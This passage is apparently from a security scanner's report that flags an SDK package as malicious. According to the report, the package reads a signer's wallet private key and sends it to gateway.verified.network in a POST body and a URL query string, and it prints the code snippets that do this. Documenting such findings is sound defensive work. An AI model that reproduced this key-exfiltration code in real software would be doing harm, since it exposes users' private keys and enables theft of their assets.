The same secret is additionally placed in a quote request URL. - **Trigger:** A consumer calls a supported contract write or quote method with a signer that exposes a private key. - **Impact:** Remote disclosure of a wallet private key can allow complete theft of assets controlled by that wallet. - **Evidence paths:** dist/contract/index.js, dist/utils/constants.js - **Review source:** ai\_review - **Reviewed:** 2026-09-05T03:40:32.089Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Extracting signer private keys and sending them to a remote sponsor endpoint. - **Attack narrative:** When a supported contract operation uses a local signer, the SDK reads its private key. Its sponsored-call path posts that key to gateway.verified.network, while its quote path adds it as the pk query parameter in a GET request. This is credential exfiltration from a consumer wallet, even though it occurs during an SDK operation rather than package installation. - **Rationale:** The package has no install hook, but runtime code deliberately extracts a wallet private key and transmits it to a remote service, including through a URL query string. That is concrete credential-exfiltration behavior and warrants blocking. - **Files touched:** dist/contract/index.js, dist/utils/constants.js - **Network endpoints:** gateway.verified.network ### Review decision - **Verdict:** Malicious - **Confidence:** 98.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** The contract runtime extracts the signer's private key and automatically selects sponsored transaction handling when one exists., It sends that private key in a POST body to the vendor-hosted sponsor endpoint., Its quote method also puts the private key into a GET URL query string, exposing it to URL logging infrastructure. - **Evidence against:** package.json has no preinstall, install, or postinstall lifecycle hook., The package contains ordinary SDK exports and ABI JSON files; no shell execution or install-time payload was found. ## Public findings ### 1.

High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** dist/contract/index.js - **Public source:** [View source]() The contract runtime extracts the signer's private key and automatically selects sponsored transaction handling when one exists. Public source snippet (untrusted): ```javascript const signerAny = this.signer; const signerPk = signerAny?._signingKey?.()?.privateKey; if (!signerPk) { //no pk on signer. Assume it's web wallets and use ethers console.log("Signer incomplete, will use ethers"); return await this.callFunctionWithEthers(functionName, ...args); } else if (signerPk) { //pk exists signer. try gassless/erc20 first then ethers if they failed if (optionsRaw[0]?.paymentToken) { console.log("Using ERC20 ``` ### 11. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** dist/contract/index.js - **Public source:** [View source]() It sends that private key in a POST body to the vendor-hosted sponsor endpoint. Public source snippet (untrusted): ```javascript const sponsorUrl = constants_1.PaymasterConstants.HOSTED_SPONSOR_URL; let quote; // Execute the transaction using passed paymentToken or sponsored gasless if (isSponsor) { const response = await fetch(`${sponsorUrl}/sponsorship/sign/${chainId?.toString()}`, { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify({ isSponsored: true, pk, ``` ### 12. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** dist/contract/index.js - **Public source:** [View source]() Its quote method also puts the private key into a GET URL query string, exposing it to URL logging infrastructure.
